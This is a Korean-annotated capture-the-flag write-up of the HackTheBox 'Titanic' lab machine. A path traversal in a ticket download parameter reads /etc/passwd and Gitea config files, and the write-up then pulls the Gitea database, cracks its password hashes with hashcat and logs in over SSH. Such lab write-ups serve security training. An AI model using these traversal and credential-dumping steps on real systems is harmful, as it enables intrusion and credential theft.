Proof of Concept
10.10.14.17
Nmap
PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpInitial Access
웹 서비스에 접속 시도하면 http://titanic.htb로 리다이렉트 되는 것을 확인
┌──(kali㉿kali)-[~/Titanic]
└─$ curl http://10.129.231.221
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://titanic.htb/">here</a>.</p>
<hr>
<address>Apache/2.4.52 (Ubuntu) Server at 10.129.231.221 Port 80</address>
</body></html>/etc/hosts 파일 설정
┌──(kali㉿kali)-[~/Titanic]
└─$ cat /etc/hosts
<SNIP>
10.129.231.221 titanic.htbhttp://titanic.htb 접속 후 여행 예약 시 티켓 정보가 담긴 JSON 파일이 다운로드되는 것을 확인
GET /download?ticket=406c208d-b0e5-412d-90e8-835bacd7684d.json HTTP/1.1
Host: titanic.htb
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 afari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titanic.htb/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
ticket 파라미터 조작을 통해 Path Traversal 취약점 확인
- ticket 파라미터 값을 /etc/passwd로 조작
GET /download?ticket=/etc/passwd HTTP/1.1
Host: titanic.htb
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 afari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titanic.htb/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
- /etc/passwd 파일 다운로드 되는 것을 확인
HTTP/1.1 200 OK
Date: Mon, 26 Jan 2026 16:47:06 GMT
Server: Werkzeug/3.0.3 Python/3.10.12
Content-Disposition: attachment; filename="/etc/passwd"
Content-Type: application/octet-stream
Content-Length: 1951
Last-Modified: Fri, 07 Feb 2025 11:16:19 GMT
Cache-Control: no-cache
ETag: "1738926979.4294043-1951-393413677"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
<SNIP>
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
vhost 탐색
- dev.titanic.htb 발견
┌──(kali㉿kali)-[~/Titanic]
└─$ gobuster vhost -u http://titanic.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain -r -t 100
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://titanic.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
dev.titanic.htb Status: 200 [Size: 13982]
#www.titanic.htb Status: 400 [Size: 303]
#mail.titanic.htb Status: 400 [Size: 303]
Progress: 19966 / 19966 (100.00%)
===============================================================
Finished
===============================================================/etc/hosts에 dev.titanic.htb 추가
┌──(kali㉿kali)-[~/Titanic]
└─$ cat /etc/hosts
<SNIP>
10.129.231.221 titanic.htb dev.titanic.htbhttp://dev.titanic.htb/에 접속한 결과 Gitea 서비스가 구동중인 것을 확인
http://dev.titanic.htb/developer/docker-config/src/branch/main/mysql/docker-compose.yml에서 MySQL 계정 발견
MySQLP@$$w0rd!
version: '3.8'
services:
mysql:
image: mysql:8.0
container_name: mysql
ports:
- "127.0.0.1:3306:3306"
environment:
MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
MYSQL_DATABASE: tickets
MYSQL_USER: sql_svc
MYSQL_PASSWORD: sql_password
restart: alwayshttp://dev.titanic.htb/developer/docker-config/src/branch/main/gitea/docker-compose.yml에서 gitea data 디렉토리 경로 확인
- /home/developer/gitea/data
version: '3'
services:
gitea:
image: gitea/gitea
container_name: gitea
ports:
- "127.0.0.1:3000:3000"
- "127.0.0.1:2222:22" # Optional for SSH access
volumes:
- /home/developer/gitea/data:/data # Replace with your path
environment:
- USER_UID=1000
- USER_GID=1000
restart: always
Path Traversal 취약점을 이용하여 /home/developer/gitea/data/gitea/conf/app.ini 파일 확인
- sqlite3를 사용하며, /data/gitea/gitea.db에 DB 파일 존재
┌──(kali㉿kali)-[~/Titanic]
└─$ curl http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/conf/app.ini
<SNIP>
[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
LOG_SQL = false
SCHEMA =
SSL_MODE = disableDB 파일 다운로드
┌──(kali㉿kali)-[~/Titanic]
└─$ curl 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db' -o gitea.db
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2036k 100 2036k 0 0 251332 0 0:00:08 0:00:08 --:--:-- 486322sqlite3로 gitea.db 파일 접속
┌──(kali㉿kali)-[~/Titanic]
└─$ sqlite3 gitea.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> DB 테이블 목록 조회
sqlite> .tables
<SNIP>
language_stat user
lfs_lock user_badge
lfs_meta_object user_blocking
login_source user_open_id
milestone user_redirect
mirror user_setting
notice version
notification watch
oauth2_application webauthn_credential
oauth2_authorization_code webhookuser 테이블 조회
- 비밀번호 해시, salt, 이름 획득
sqlite> select passwd,salt,name from user;
cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|2d149e5fbd1b20cf31db3e3c6a28fc9b|administrator
e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34|developer해시 덤프해서 평문 비밀번호 획득
- 25282528
┌──(kali㉿kali)-[~/Titanic]
└─$ wget https://raw.githubusercontent.com/hashcat/hashcat/refs/heads/master/tools/gitea2hashcat.py
--2026-01-27 12:33:44-- https://raw.githubusercontent.com/hashcat/hashcat/refs/heads/master/tools/gitea2hashcat.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2417 (2.4K) [text/plain]
Saving to: ‘gitea2hashcat.py’
gitea2hashcat.py 100%[==========================================================================================================>] 2.36K --.-KB/s in 0s
2026-01-27 12:33:44 (32.7 MB/s) - ‘gitea2hashcat.py’ saved [2417/2417]
┌──(kali㉿kali)-[~/Titanic]
└─$ sqlite3 gitea.db 'select salt,passwd from user;' | python gitea2hashcat.py > hashes.txt
┌──(kali㉿kali)-[~/Titanic]
└─$ hashcat -m 10900 hashes.txt /usr/share/wordlists/rockyou.txt --quiet
Hashfile 'hashes.txt' on line 1 ([+] Ru... mode 10900 (PBKDF2-HMAC-SHA256)): Separator unmatched
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528developer:25282528로 SSH 인증 성공
┌──(kali㉿kali)-[~/Titanic]
└─$ [<0;2;41M0;2;41m
┌──(kali㉿kali)-[~/Titanic]
└─$ nxc ssh 10.129.231.221 -u users.txt -p '25282528'
SSH 10.129.231.221 22 10.129.231.221 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.129.231.221 22 10.129.231.221 [-] administrator:25282528
SSH 10.129.231.221 22 10.129.231.221 [+] developer:25282528 Linux - Shell access!SSH 접속
┌──(kali㉿kali)-[~/Titanic]
└─$ ssh developer@10.129.231.221
The authenticity of host '10.129.231.221 (10.129.231.221)' can't be established.
ED25519 key fingerprint is: SHA256:Ku8uHj9CN/ZIoay7zsSmUDopgYkPmN7ugINXU0b2GEQ
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.231.221' (ED25519) to the list of known hosts.
developer@10.129.231.221's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)
<SNIP>
applicable law.
Last login: in** from 10.10.14.17
developer@titanic:~$Read user.txt
developer@titanic:~$ cat user.txt
bf8b064c0ea1cee7697b7be403b919eb
developer@titanic:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b0:3b:de brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.129.231.221/16 brd 10.129.255.255 scope global dynamic eth0
valid_lft 2267sec preferred_lft 2267sec
inet6 dead:beef::250:56ff:feb0:3bde/64 scope global dynamic mngtmpaddr
valid_lft 86394sec preferred_lft 14394sec
inet6 fe80::250:56ff:feb0:3bde/64 scope link
valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:2b:fb:69:ee brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
4: br-892511bece4a: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:02:22:53:33 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.1/16 brd 172.18.255.255 scope global br-892511bece4a
valid_lft forever preferred_lft forever
inet6 fe80::42:2ff:fe22:5333/64 scope link
valid_lft forever preferred_lft forever
6: veth691b6a3@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-892511bece4a state UP group default
link/ether 42:f6:b7:a4:63:e1 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::40f6:b7ff:fea4:63e1/64 scope link
valid_lft forever preferred_lft forever